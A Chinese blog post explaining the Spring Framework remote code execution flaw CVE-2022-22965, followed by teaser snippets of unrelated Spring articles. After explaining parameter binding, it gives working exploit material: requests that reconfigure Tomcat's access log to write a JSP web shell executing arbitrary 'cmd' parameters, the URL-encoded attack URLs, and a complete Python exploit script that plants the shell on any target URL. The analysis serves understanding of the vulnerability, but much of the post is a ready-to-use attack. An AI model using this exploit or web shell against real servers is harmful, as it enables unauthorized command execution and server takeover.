代码编织梦想

Spring RCE远程执行漏洞(CVE-2022-22965)

这个洞22年3月底被大佬发现公布,由于Spring框架的影响范围太大了。复现条件又很低,本身就是高危的RCE漏洞可以直接拿到服务器的shell,像作者说的一样确实是一个核弹漏洞。

影响范围

JDK>8

Spring Framework<5.3.18

Spring Framework<5.2.20

条件

类对象中有get/set方法

Spring controller接口中有对象传入

漏洞原理

User类,有name和Department两个属性

public class User {
    private String name;
    private Department department;public String getName() {
        return name;
    }public void setName(String name) {
        this.name = name;
    }public Department getDepartment() {
        return department;
    }public void setDepartment(Department department) {
        this.department = department;
    }}

Department类具有name属性

public class Department {
    private String name;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }
}

一会准备测试的接口,注意:其中并没有调用User的get/set方法

@Controller
public class UserController {
    @RequestMapping("/testUser")
    public @ResponseBody String testUser(User user) {
        System.out.println("==testUser==");
        return "OK";
    }
}

打断点后DEBUG启动

在这里插入图片描述
携带参数请求该接口

http://localhost:8888/testUser?name=tpa&department.name=code

User对象没有调用get/set方法但其属性却有了值,这是因为Spring的参数绑定特性,而department.name则是多级绑定。(若department中也存在一个具备name属性的area对象,传入参数department.area.name其属性也会更改。)实际上department.name在后台的调用链路为

User.getDepartment() => Department.setName()

department.area.name则为

User.getDepartment() => Department.getArea() => Area.setName()

在这里插入图片描述
因为是封装类private私有属性,能更改类的属性不直接调用get/set肯定是通过反射了。而JDK自带的一个类PropertyDescriptor就可以通过反射来获取设置对象的属性。实现Spring框架参数绑定自动调用get/set方法的关键类BeanWrapperImpl就是对其进行的封装。

public class PropertyDescriptorTest {
    public static void main(String[] args) throws Exception {

        User user = new User();
        user.setName("tpa111");

        BeanInfo userBeanInfo = Introspector.getBeanInfo(User.class);

        PropertyDescriptor[] descriptors = userBeanInfo.getPropertyDescriptors();
        PropertyDescriptor userNameDescriptor = null;


        for (PropertyDescriptor descriptor : descriptors) {
            if (descriptor.getName().equals("name")) {
                userNameDescriptor = descriptor;
                System.out.println("修改前user name:");
                //通过反射调用了get方法
                System.out.println(userNameDescriptor.getReadMethod().invoke(user));
                //通过反射调用了set方法
                userNameDescriptor.getWriteMethod().invoke(user, "tpa222");
            }
        }
        System.out.println("修改后user name:");
        //通过反射调用了get方法
        System.out.println(userNameDescriptor.getReadMethod().invoke(user));
    }
}

在这里插入图片描述
BeanWrapperImpl测试

public class BeanWrapperTest {
    public static void main(String[] args) throws Exception {
        User user = new User();
        user.setName("tpa111");
        Department department = new Department();
        department.setName("code111");
        user.setDepartment(department);

        //关键类
        BeanWrapper userBeanWrapper = new BeanWrapperImpl(user);
        userBeanWrapper.setAutoGrowNestedPaths(true);

        System.out.println("修改前user name:");
        System.out.println(userBeanWrapper.getPropertyValue("name"));
        System.out.println("修改前department name");
        System.out.println(userBeanWrapper.getPropertyValue("department.name"));

        userBeanWrapper.setPropertyValue("name", "tpa222");
        userBeanWrapper.setPropertyValue("department.name", "code222");

        System.out.println("修改后user name:");
        System.out.println(userBeanWrapper.getPropertyValue("name"));
        System.out.println("修改后department name");
        System.out.println(userBeanWrapper.getPropertyValue("department.name"));
    }
}

在这里插入图片描述
而其中最关键的是在BeanWrapperImpl类中在spring进行参数绑定的时候缓存了一个Class属性,用于引用待绑定的类,有这个Class属性意味着使用的对象不需要拥有Class属性(没有傻X在一个类里写入class属性吧,有了这个缓存漏洞直接起飞),通过传入参数class利用参数绑定就能获得Class对象,而能拿到Class对象在java不是想拿谁拿谁。

DEBUG看一下BeanWrapperImpl出现缓存的代码出现在110行
在这里插入图片描述
就是在这里发现了cache了class属性
在这里插入图片描述
漏洞利用
在拿到Class对象后,我们只要想办法怎么找到一个路径下的文件写入jsp木马更改文件后缀就可以了。java项目基本都会使用tomcat服务器,把目标锁定在了tomcat日志。(其他服务器找到路径也可以成功写入shell)
在这里插入图片描述
主要用到的就是HTTP接口访问日志,它是通过server.xml控制的

它的位置在server.xml最底部,我们可以利用刚才的参数绑定漏洞获取到org.apache.catalina.valves.AccessLogValve类修改它的属性

在这里插入图片描述
它这几个属性的含义

directory: access_log文件输出目录——为了方便改为webapps/ROOT根目录
prefix: access_log文件名前缀——随便起名tpa
suffix: access_log文件名后缀——.jsp
pattern: access_log文件内容格式——jsp木马
fileDateFormat:access_log文件名日期后缀,默认为.yyyy-MM-dd——设为空

接下来发送请求更改属性

写入的参数木马

class.module.classLoader.resources.context.parent.pipeline.first.pattern=<% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } %>

url编码后的请求

http://localhost:8888/testUser?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%3C%25%20java.io.InputStream%20in%20=%20Runtime.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream();%20int%20a%20=%20-1;%20byte%5B%5D%20b%20=%20new%20byte%5B2048%5D;%20while((a=in.read(b))!=-1)%7B%20out.println(new%20String(b));%20%7D%20%25%3E

文件后缀

class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
http://localhost:8888/testUser?class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

文件路径

class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
http://localhost:8888/testUser?class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT

文件名

class.module.classLoader.resources.context.parent.pipeline.first.prefix=tpa
http://localhost:8888/testUser?class.module.classLoader.resources.context.parent.pipeline.first.prefix=tpa

文件名日期后缀
虽然没用但是不能少,少了不会生效

class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
http://localhost:8888/testUser?class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

成功在服务器生成了shell的jsp文件

在这里插入图片描述
成功远程执行

http://localhost:8888/tpa.jsp?cmd=whoami

在这里插入图片描述
以上为手动利用难免出现一些问题效率也不高,直接使用python脚本来进行验证生成shell

使用方式

python exp.py --url http://localhost/testUser
import requests
import argparse
from urllib.parse import urlparse
import time

# Set to bypass errors if the target site has SSL issues
requests.packages.urllib3.disable_warnings()

post_headers = {
    "Content-Type": "application/x-www-form-urlencoded"
}

get_headers = {
    "prefix": "<%",
    "suffix": "%>//",
    # This may seem strange, but this seems to be needed to bypass some check that looks for "Runtime" in the log_pattern
    "c": "Runtime",
}


def run_exploit(url, directory, filename):
    log_pattern = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20" \
                  f"java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter" \
                  f"(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B" \
                  f"%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di"

    log_file_suffix = "class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp"
    log_file_dir = f"class.module.classLoader.resources.context.parent.pipeline.first.directory={directory}"
    log_file_prefix = f"class.module.classLoader.resources.context.parent.pipeline.first.prefix={filename}"
    log_file_date_format = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="

    exp_data = "&".join([log_pattern, log_file_suffix, log_file_dir, log_file_prefix, log_file_date_format])

    # Setting and unsetting the fileDateFormat field allows for executing the exploit multiple times
    # If re-running the exploit, this will create an artifact of {old_file_name}_.jsp
    file_date_data = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_"
    print("[*] Resetting Log Variables.")
    ret = requests.post(url, headers=post_headers, data=file_date_data, verify=False)
    print("[*] Response code: %d" % ret.status_code)

    # Change the tomcat log location variables
    print("[*] Modifying Log Configurations")
    ret = requests.post(url, headers=post_headers, data=exp_data, verify=False)
    print("[*] Response code: %d" % ret.status_code)

    # Changes take some time to populate on tomcat
    time.sleep(3)

    # Send the packet that writes the web shell
    ret = requests.get(url, headers=get_headers, verify=False)
    print("[*] Response Code: %d" % ret.status_code)

    time.sleep(1)

    # Reset the pattern to prevent future writes into the file
    pattern_data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern="
    print("[*] Resetting Log Variables.")
    ret = requests.post(url, headers=post_headers, data=pattern_data, verify=False)
    print("[*] Response code: %d" % ret.status_code)


def main():
    parser = argparse.ArgumentParser(description='Spring Core RCE')
    parser.add_argument('--url', help='target url', required=True)
    parser.add_argument('--file', help='File to write to [no extension]', required=False, default="shell")
    parser.add_argument('--dir', help='Directory to write to. Suggest using "webapps/[appname]" of target app',
                        required=False, default="webapps/ROOT")

    file_arg = parser.parse_args().file
    dir_arg = parser.parse_args().dir
    url_arg = parser.parse_args().url

    filename = file_arg.replace(".jsp", "")

    if url_arg is None:
        print("Must pass an option for --url")
        return

    try:
        run_exploit(url_arg, dir_arg, filename)
        print("[+] Exploit completed")
        print("[+] Check your target for a shell")
        print("[+] File: " + filename + ".jsp")

        if dir_arg:
            location = urlparse(url_arg).scheme + "://" + urlparse(url_arg).netloc + "/" + filename + ".jsp"
        else:
            location = f"Unknown. Custom directory used. (try app/{filename}.jsp?cmd=whoami"
        print(f"[+] Shell should be at: {location}?cmd=whoami")
    except Exception as e:
        print(e)


if __name__ == '__main__':
    main()
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/qq_18980147/article/details/127392721

springmvc(零)- tomcat启动_用针戳左手中指指头的博客-爱代码爱编程

文章目录 前言Tomcat关键流程1. 引导程序2. 实例化`Catalina`容器3. 创建server, service4. 创建Engine,Connector5. 启动6. 创建StandardContext

english语法_并列连词 - for / so_x@/”的博客-爱代码爱编程

Contents 1> for 因为Note > 状语从句because 2> so 所以,表结果; 1> for 因为 She didn’t go on t

spring framework 之 scope_ethan3014的博客-爱代码爱编程

文章目录 作用原理Scope interface例子 ServletContextScope自定义Scope 作用 与@Component和@Bean共同作用,决定生成的Bean的生命周期,即何时创建一个新的

spring 注解开发下的依赖注入(自动装配)(引用类型)(普通类型)(加载properties文件)_我的猴子的博客-爱代码爱编程

必读:  1.Spring注解开发中的东西是为了让我门加速开发的,他对原始的内容进行了阉割,也就是没有必要的功能他就没有做,只做了最快速,最好用的,也就是用自动装配替代了Setter与构造器注入 注入引用类型 1.使用@Autowired注解开启自动装配模式(按类型) 注意:自动装配给予反射设计创建对象并暴力反射对应属性为私有属性

spring学习阶段性总结_freedomhy的博客-爱代码爱编程

Spring的核心功能之一就是反转控制(IOC),也就是把对成员变量赋值的控制权,从程序员写的代码反转到Spring工厂和配置文件中。 我们之所以需要IOC是因为把创建对象(New)的过程放在了XML配置文件里,所以当我们需要换一个实现子类将会变成很简单(项目不需要重新编译);其次,当他人使用代码时不需要关心对象创建的过程,由第三方的Spring工厂直接

springcloud 使用responsebodyadvice和fiegn的decoder优化服务调用的返回数据格式_爱码猿的博客-爱代码爱编程

项目中的接口返回结果一般都是规定的固定格式,例如Controller层统一返回Result对象,对象中的data用于存放接口返回的数据,这样在通过feign进行远程调用时一般也用Result对象作为返回值,然后在代码中调用g

spring boot quartz的配置_莫疏的博客-爱代码爱编程

Spring boot 中quartz的配置,这里启用的是持久化的方案,会在数据库中建quartz的表,方便集群部署 spring: servlet: multipart: # 文件最大限制 max-file-size: 50MB # 请求最大限制 max-request-size: 50MB

springcloud alibaba学习(一)_爱吃西瓜爱吃肉的博客-爱代码爱编程

SpringCloud Alibaba SpringCloud是一系列分布式框架的集合,基于Spring Boot进行开发,将不同公司生产的不同组件进行集成,以SpringBoot的风格进行集成,开发者不需要关注底层的整合实现,而是开箱即用,需要哪个组价就用SpringBoot整合进来。   服务治理 服务注册+服务发现——Nacos-注册

spring aop 面向切面编程概念+aop工作流程+aop入门案例_我的猴子的博客-爱代码爱编程

目录  面向切面编程概念 1.AOP概念   2.自我理解概念: 3.官方理解:  AOP入门案例工作流程  1.AOP工作流程 : 2.AOP核心概念(使用代理模式来增强功能): 2 AOP入门案例 1.MyAdvise通知类(做通知,切入点,切入点与通知进行绑定) 2.SpringConfig  Spring配置类(识别bean,与

ssm 项目实战开发经验总结(spring & spring mvc & mybatis)_油条生煎的博客-爱代码爱编程

SSM总结 开发流程 创建 maven 工程 在 pom.xml 文件中引入各种依赖与插件: JUnit5Spring事务MyBatisMyBatis集成Spring阿里druid数据库连接池j2ee注解Asp

gateway 断言配置_呆萌很的博客-爱代码爱编程

After 判断在​​After​​配置的时间之后,路由配置才生效 spring:   cloud:     gateway:       routes:       - id: after_route         uri: https://example.org         predicates:         - After=2017-0

java程序加载外部配置(含单独jar以及springboot)_我要用代码向我喜欢的女孩表白的博客-爱代码爱编程

为什么要加载外部配置? 最近也是很头疼,我们有开发环境,测试环境,生产环境,生产又分为内网部署环境,外网测试环境,然后更头疼的是,每个人部署的地方还不一样,内网部署环境的redis和mysql又在内网的其他节点上。于是我的代码就写了好多个不同的方法,通过调用不同的方法,进行使用,但是这样每次修改我都需要重新编译,打包,提交,很麻烦。 于是采用加载外部配

maven-爱代码爱编程

目录  Maven的作用 一、标准化的项目结构 二、标准化的构建流程  三、依赖管理机制 Maven仓库简介  Maven仓库的分类  Maven的安装和配置 Maven常用命令 Maven生命周期 Maven坐标 Maven坐标的组成 使用坐标导入jar包 坐标的依赖范围 Maven分模块开发 概述  分模块开发流程 M

jdk 9-爱代码爱编程

Java新特性介绍 Java 8是Oracle 公司于 2014 年 3 月 18 日发布的,距离今天已经过了近十年的时间了,但是由于Java 8的稳定和生态完善(目前仍是LTS长期维护版本),依然有很多公司在坚持使用Java 8,不过随着SpringBoot 3.0的到来,现在强制要求使用Java 17版本(同样也是LTS长期维护版本),我们来聊聊 j

easy excel 使用总结_easyexcel-爱代码爱编程

title: Easy Excel 使用总结 date: 2022-10-14 17:33:57 tags: Excel categories:开发技术及框架 cover: https://cover.png feat

nacos简介及其应用场景_nacos支不支持ssh框架-爱代码爱编程

Spring Cloud Alibaba Spring Cloud Netflix项⽬进⼊维护模式 Spring Cloud Alibaba 能够提供微服务开发的⼀站式解决⽅案,⽽且经过阿⾥业务考验,⾜够优秀 参考⽂档 h

spring ioc 容器和 spring beans 概念_为什么说spring ioc容器本质上就是spring bean容器-爱代码爱编程

// 什么是控制反转?什么是容器?什么是Bean?         IOC 也称为依赖注入(DI),依赖注入是指,对象只通过构造函数参数、工厂方法的参数或在对象实例被构造或从工厂方法返回后在对象实例上设置的属性来定义它们的依赖项(依赖项指该对象使用的其他对象)的过程,然后,容器在创建这些对象时注入对象的依赖项(属性或者对象)。// 使用参数或对象属性来定